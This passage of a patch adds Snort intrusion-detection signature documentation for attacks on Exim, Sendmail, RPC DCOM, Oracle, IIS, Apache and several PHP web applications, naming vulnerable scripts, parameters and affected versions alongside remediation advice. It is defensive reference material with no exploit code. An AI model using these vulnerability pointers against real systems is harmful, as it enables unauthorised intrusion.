+Sid:
+2592
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Mail Transfer Agent Exim.
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code on a vulnerable
+server with the privilege of the process running Exim.
+
+--
+Detailed Information:
+Exim is vulnerable to a buffer overflow, permitting an attacker to execute
+arbitrary code.  The vulnerability may be exploited if Exim is configured to
+verify header syntax in the e-mail message body.  This is not the default
+configuration.  If an attacker supplies a large number of spaces after certain
+header fields, it may be possible to cause a buffer overflow.
+
+--
+Affected Systems:
+Exim prior to version 4.34
+
+--
+Attack Scenarios:
+An attacker can create and send mail with a malformed header,
+possibly causing a buffer overflow and permitting the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/10291
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0400
+
+Other:
+http://www.guninski.com/exim1.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1446.txt
+++ snort-2.8.5.2/doc/signatures/1446.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+1446
+
+--
+Summary:
+This event is generated when an external attacker uses the "vrfy root"
+command to find the login name or mail alias of the system
+administrator. This may also indicate a vulnerability scan.
+
+--
+Impact:
+Information gathering. 
+
+--
+Detailed Information:
+An attacker may be able to obtain the email alias or actual email
+address of root users. This allows the attacker to know which email
+accounts may be more valuable to target, and can be used by spammers or
+as targets for denial of service attempts.
+
+--
+Affected Systems:
+Systems running Sendmail.
+
+--
+Attack Scenarios:
+An attacker uses vrfy root to obtain the name of administrators on the
+server. The attacker now knows which accounts have administrative
+access, and may use this information to focus later attacks.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the vrfy command on your mail server, or update your Sendmail
+configuration file so that Sendmail displays non-sensitive information
+when it receives a vrfy root request.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+RFC 821:
+http://www.faqs.org/rfcs/rfc821.html
+
+Security Space:
+http://www.securityspace.com/smysecure/catid.html?viewsrc=1&id=10249
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000800.txt
+++ snort-2.8.5.2/doc/signatures/100000800.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000800
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "name" parameter in the "editor_menu.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3411.txt
+++ snort-2.8.5.2/doc/signatures/3411.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3411
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000596.txt
+++ snort-2.8.5.2/doc/signatures/100000596.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000596
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_config_payment.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"inv_config_payment.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2032.txt
+++ snort-2.8.5.2/doc/signatures/2032.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2032
+
+--
+Summary:
+The rpc.ypasswd service is used to update user information remotely. 
+This service should not be available outside the local area network, 
+external source.
+
+--
+Impact:
+This may be an intelligence gathering activity on available rpc services
+on a machine connected to external resources. The possibility also 
+exists that an attacker may already have gained access to a NIS server 
+and thus all resources connected to that host.
+
+--
+Detailed Information:
+A vulnerability exists in some versions of the rpc.ypasswd service that
+can lead to a remote root compromise of a vulnerable host. This activity
+may be an intelligence gathering exercise to ascertain wether or not the
+host is vulnerable to this attack.
+
+This activity may also indicate a possible compromise of a NIS server 
+via a legitimate user account the attacker has previously garnered. 
+Compromise of a master NIS server may present the attacker with easy 
+access to all NIS resources the machine is connected to.
+
+--
+Affected Systems:
+All systems running the rpc.ypasswd service.
+
+--
+Attack Scenarios:
+The attacker can make a request to update user information via 
+rpc.ypasswd.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+SANS:
+http://www.sans.org/rr/unix/NIS.php
+http://www.sans.org/rr/unix/sec_solaris.php
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2900.txt
+++ snort-2.8.5.2/doc/signatures/2900.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2900
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure purge_statistics
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000162.txt
+++ snort-2.8.5.2/doc/signatures/100000162.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+100000162
+
+-- 
+Summary: 
+This event is generated when an abnormally larger number of 401 Unauthorized 
+messages are returned by an SIP-enabled host.
+
+--
+Impact:
+This can be an indication of either a brute force authentication attack or a 
+denial of service in progress.
+
+--
+Detailed Information:
+When a user attempts to send a REGISTER message with invalid credentials, a SIP 
+server returns a 401 Unauthorized message. A high volume of these may indicate 
+that an authentication attack, likely brute-force style, or a denial of service 
+is in progress.
+
+--
+Affected Systems:
+Any which implement the SIP protocol.
+
+--
+Attack Scenarios:
+An attacker could use a script to attempt a brute-force authentication attack 
+or a denial of service.
+
+--
+Ease of Attack:
+Simple, as it is easy to write a script to cycle through all possible 
+authentication values or to simply flood a system with unauthorized data.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a firewall or other access-restriction device to block unwanted messages at 
+your network's border.
+
+--
+Contributors:
+Jiri Markl <jiri.markl@nextsoft.cz>
+Sourcefire Research Team
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2424.txt
+++ snort-2.8.5.2/doc/signatures/2424.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2424
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3379.txt
+++ snort-2.8.5.2/doc/signatures/3379.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3379
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2728.txt
+++ snort-2.8.5.2/doc/signatures/2728.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2728
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_raw
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2372.txt
+++ snort-2.8.5.2/doc/signatures/2372.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+2372
+
+--
+Summary:
+This event is generated when an attempt is made to access showphoto.php, a 
+component of the Photopost PHP web application running on a server.
+
+--
+Impact:
+Unauthorized administrative access to the underlying database.
+
+--
+Detailed Information:
+Photopost is a PHP photo gallery application. It is possible for a
+remote attacker to perform SQL queries on the database used by Photopost
+that could disclose sensitive information or compromise the data stored
+on the server.
+
+--
+Affected Systems:
+	Photopost PHP Pro version 4.6 and earlier
+
+--
+Attack Scenarios:
+An attacker can manipulate the photo parameter in the script
+showphoto.php to perform SQL queries of their choosing.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <matthew.watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1061.txt
+++ snort-2.8.5.2/doc/signatures/1061.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1061
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2281.txt
+++ snort-2.8.5.2/doc/signatures/2281.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2281
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application MediaWiki running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code and unauthorized administrative
+access to the target system.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application MediaWiki . This application
+does not perform stringent checks when handling user input, this may 
+lead to the attacker being able to execute PHP code and include php files 
+of the attackers choosing.
+
+--
+Affected Systems:
+	MediaWiki MediaWiki-stable 20031107
+	MediaWiki MediaWiki-stable 20030829
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator 
+by supplying input of their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/523.txt
+++ snort-2.8.5.2/doc/signatures/523.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid: 523
+
+--
+Summary:
+This event is generated when packets on the network have the reserved 
+bit set.
+
+--
+Impact:
+Possible prelude to system compromise.
+
+--
+Detailed Information:
+Under normal circumstances IP packets do not use the reserved bit.
+
+This may be an indicator of the use of the reserved bit by a malicious 
+user to instigate covert channel communications.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	All
+
+--
+Attack Scenarios:
+The attacker may send specially crafted packets with the reserved bit 
+set.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Use a packet filtering device to reject packets with this bit set.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2808.txt
+++ snort-2.8.5.2/doc/signatures/2808.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2808
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure suspend_master_activity
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1432.txt
+++ snort-2.8.5.2/doc/signatures/1432.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1432
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. This 
+may be against corporate policy. p2p clients connect to other p2p 
+clients to share files, commonly music and video files but can be 
+configured to share any file on the local machine.
+
+This activity may not only use bandwidth but may also be used to 
+transfer company confidential information to unauthorized hosts external
+to the protected network bypassing other security measures in place.
+
+This rule detects activity from Gnutella p2p client applications.
+
+--
+Affected Systems:
+	Any host using a Gnutella p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+GNUTella
+http://www.gnutella.com
+
+Gnutella Protocol
+http://rfc-gnutella.sourceforge.net/developer/testing/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1245.txt
+++ snort-2.8.5.2/doc/signatures/1245.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1245
+
+--
+Summary:
+This event is generated when an attempt is made to access the .idq Indexing Service ISAPI filter. 
+
+--
+Impact:
+Intelligence gathering activity. If an .idq file is erroneously shared from a network share, an error message is returned from a request that contains the share path will be disclosed.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) installs several Internet Service Application Programming Interface (ISAPI) extensions.  The .idq ISAPI filter provides support for Internet Data Queries.  Files with the .idq suffix should not be located on network shares.  If an attempt is made to access them from a network share, an error message is returned disclosing the share path.  
+
+--
+Affected Systems:
+Hosts running IIS 4.0
+Hosts running IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can attempt to access a file with the .idq suffix in an attempt to receive an error message with disclosure about the share path.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Do not place files with the .idq suffix on a network share.
+ 
+
+--
+Contributors:
+Original rule written by Dr SuSE and C. Mayor 
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS552
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0071
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1519.txt
+++ snort-2.8.5.2/doc/signatures/1519.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1519
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a flaw in 
+Apache that can result in a listing of directory contents.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+When "Multiviews" are used to negotiate a directory index, a specially 
+crafted URL can be used to obtain a directory listing instead of the 
+index page.
+
+--
+Affected Systems:
+	Apache 1.3.11, 1.3.14 to 1.3.20
+
+--
+Attack Scenarios:
+An attacker can use this exploit to view sensitive information
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+The presence of the string "/?M=D" within an incoming http packet can 
+cause this rule to generate an event.
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1157.txt
+++ snort-2.8.5.2/doc/signatures/1157.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1157
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1611.txt
+++ snort-2.8.5.2/doc/signatures/1611.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1611
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1526.txt
+++ snort-2.8.5.2/doc/signatures/1526.txt
@@ -0,0 +1,58 @@
+Rule:  
+
+--
+Sid:
+1526
+
+--
+Summary:
+This event is generated when an attempt is made to access the file sendmail.inc on a webserver running Basilix webmail.
+
+--
+Impact:
+Medium - Password disclosure: Depending if the attacker can use this login credentials to authenticate directly to a mysql database. Many Sun Cobalt Linux servers use Basilix webmail
+
+--
+Detailed Information:
+A webserver usually sends files in the webroot to an anonymous user without further processing. PHP scripts often include files (which contains configuration variables / functions etc.) that are not stored using a suffix that prevents the webserver sending them in clear text. ".inc" and ".class" suffix are not a handled by CGI properly and the file "sendmail.inc" is sent to the attacker. /inc/mysql.class can also be accessed and this would lead to a mysql user/password disclosure.
+
+Basilix is a webmail PHP script. Features are nice but it has some vulnerabilities (old versions).
+
